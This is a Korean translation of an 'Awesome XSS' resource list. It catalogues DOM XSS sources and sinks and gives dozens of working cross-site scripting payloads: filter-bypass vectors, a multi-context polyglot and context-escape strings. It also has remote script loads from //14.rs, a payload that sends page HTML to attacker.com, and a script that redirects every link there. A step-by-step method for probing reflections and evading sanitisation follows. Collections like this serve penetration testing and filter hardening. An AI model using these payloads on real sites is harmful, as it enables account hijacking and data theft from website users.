
멋진 XSS 자료
이 저장소는 Awesome XSS 리소스 모음입니다. 기여는 언제나 환영하며, 이슈(issue)를 통해 제출해 주시기 바랍니다.
Jack Masa가 만든 아름다운 XSS 마인드맵, 여기
VulnerableNot vulnerableSource: 외부(신뢰할 수 없는) 소스에 의해 제어될 수 있는 입력값.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: 취약점으로 이어질 수 있는 잠재적으로 위험한 메서드. 이 경우에는 DOM 기반 XSS입니다.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
이 포괄적인 싱크 및 소스 목록은 domxsswiki에서 가져온 것입니다.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
다음은 20개 이상의 컨텍스트를 빠져나갈 수 있도록 제가 만든 XSS 폴리글롯입니다:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
작동 방식에 대한 설명은 여기
탐지가 잘 되지 않는 일부 이벤트 핸들러
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
사용하게 될 일부 HTML 태그
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
사례: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
사례: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
사례: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
네, confirm입니다. alert은 너무 흔하니까요.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
이 중 아무것도 작동하지 않으면 Awesome 우회 섹션을 살펴보세요.
우선 d3v 같은 악성이 아닌 문자열을 입력하고 소스 코드를 확인해 반영(reflection)의 개수와 컨텍스트를 파악하세요.
이제 속성 컨텍스트의 경우 x"d3v를 입력해 큰따옴표(")가 필터링되는지 확인하세요. x"d3v로 변경된다면 출력이 제대로 이스케이프되고 있을 가능성이 높습니다. 그렇다면 x'd3v를 입력해 작은따옴표(')에도 동일한 테스트를 해보세요. x'로 변경된다면 난감한 상황입니다. 시도해볼 수 있는 것은 인코딩뿐입니다.
따옴표가 필터링되지 않는다면 Awesome 컨텍스트 탈출 섹션의 페이로드를 그냥 시도해보면 됩니다.
JavaScript 컨텍스트의 경우 어떤 따옴표가 사용되는지 확인하세요. 예를 들어 다음과 같이 사용한다면
variable = 'value' or variable = "value"
이제 작은따옴표(')를 사용한다고 가정해보겠습니다. 그 경우 x'd3v를 입력하세요. x\'d3v로 변경된다면 탐색 문자열에 백슬래시()를 추가해 백슬래시를 이스케이프해보세요. 즉 x\'d3v처럼 말입니다. 작동한다면 다음 페이로드를 사용하세요:
\'-alert()//
하지만 x\\\'d3v로 변경된다면, 시도해볼 수 있는 유일한 방법은 script 태그 자체를 닫는 것입니다:
</script><svg onload=alert()>
단순 HTML 컨텍스트의 경우 탐색 문자열은 x<d3v입니다. x>d3v로 변경된다면 제대로 된 삭제(sanitization)가 적용되고 있는 것입니다. 그대로 반영된다면 더미 태그를 입력해 잠재적인 필터를 확인할 수 있습니다. 제가 즐겨 사용하는 더미 태그는 x<xxx>입니다. 어떤 방식으로든 제거되거나 변경된다면, 필터가 <와 >의 쌍을 찾고 있다는 뜻입니다. 다음과 같이 간단히 우회할 수 있습니다:
<svg onload=alert()//
또는 이렇게 (모든 경우에 작동하지는 않습니다)
<svg onload=alert()
더미 태그가 소스 코드에 그대로 남는다면 다음 페이로드 중 하나를 사용하세요:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
참고: 이 페이로드 중 어느 것도 작은따옴표(')나 큰따옴표(")를 사용하지 않습니다.
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s)://는 // 또는 /\\ 또는 \\로 줄일 수 있습니다.document.cookie는 cookie로 줄일 수 있습니다. 이는 다른 DOM 객체에도 동일하게 적용됩니다.alert('XSS')처럼 하지 말고 alert()을 사용하세요.> 대신 //를 사용할 수 있습니다.confirm이 가장 탐지가 덜 되는 팝업 함수라는 것을 발견했습니다. 그러니 alert 사용을 중단하세요.<script src="//14.rs"> 대신 <script src=//14.rs>를 사용할 수 있습니다.별도로 명시되지 않은 모든 페이로드는 제가 직접 만든 것입니다.
| HTML | 문자 | 숫자 | 설명 | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | 따옴표 | u+0022 | \0022 | \42 | %22 |
# | # | # | 숫자 기호 | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | 달러 기호 | u+0024 | \0024 | \44 | %24 |
% | % | % | 퍼센트 기호 | u+0025 | \0025 | \45 | %25 |
& | & | & | 앰퍼샌드 | u+0026 | \0026 | \46 | %26 |
' | ' | ' | 아포스트로피 | u+0027 | \0027 | \47 | %27 |
( | ( | ( | 왼쪽 괄호 | u+0028 | \0028 | \50 | %28 |
) | ) | ) | 오른쪽 괄호 | u+0029 | \0029 | \51 | %29 |
* | * | * | 별표 | u+002A | \002a | \52 | %2A |
+ | + | + | 더하기 기호 | u+002B | \002b | \53 | %2B |
, | , | , | 쉼표 | u+002C | \002c | \54 | %2C |
− | - | - | 하이픈-마이너스 | u+002D | \002d | \55 | %2D |
. | . | . | 마침표; 온점 | u+002E | \002e | \56 | %2E |
/ | / | / | 슬래시; 빗금 | u+002F | \002f | \57 | %2F |
: | : | : | 콜론 | u+003A | \003a | \72 | %3A |
; | ; | ; | 세미콜론 | u+003B | \003b | \73 | %3B |
< | < | < | 보다 작음 | u+003C | \003c | \74 | %3C |
= | = | = | 등호 | u+003D | \003d | \75 | %3D |
> | > | > | 보다 큼 기호 | u+003E | \003e | \76 | %3E |
? | ? | ? | 물음표 | u+003F | \003f | \77 | %3F |
@ | @ | @ | 골뱅이표; 상업용 at 기호 | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | 왼쪽 대괄호 | u+005B | \005b | \133 | %5B |
\ | \ | \ | 백슬래시 | u+005C | \005c | \134 | %5C |
] | ] | ] | 오른쪽 대괄호 | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | 곡절 악센트 | u+005E | \005e | \136 | %5E |
_ | _ | _ | 밑줄 | u+005F | \005f | \137 | %5F |
` | ` | ` | 억음 악센트 | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | 왼쪽 중괄호 | u+007b | \007b | \173 | %7b |
| | | | | | 세로 막대 | u+007c | \007c | \174 | %7c |
} | } | } | 오른쪽 중괄호 | u+007d | \007d | \175 | %7d |
<script src=//14.rs> (19자)입니다.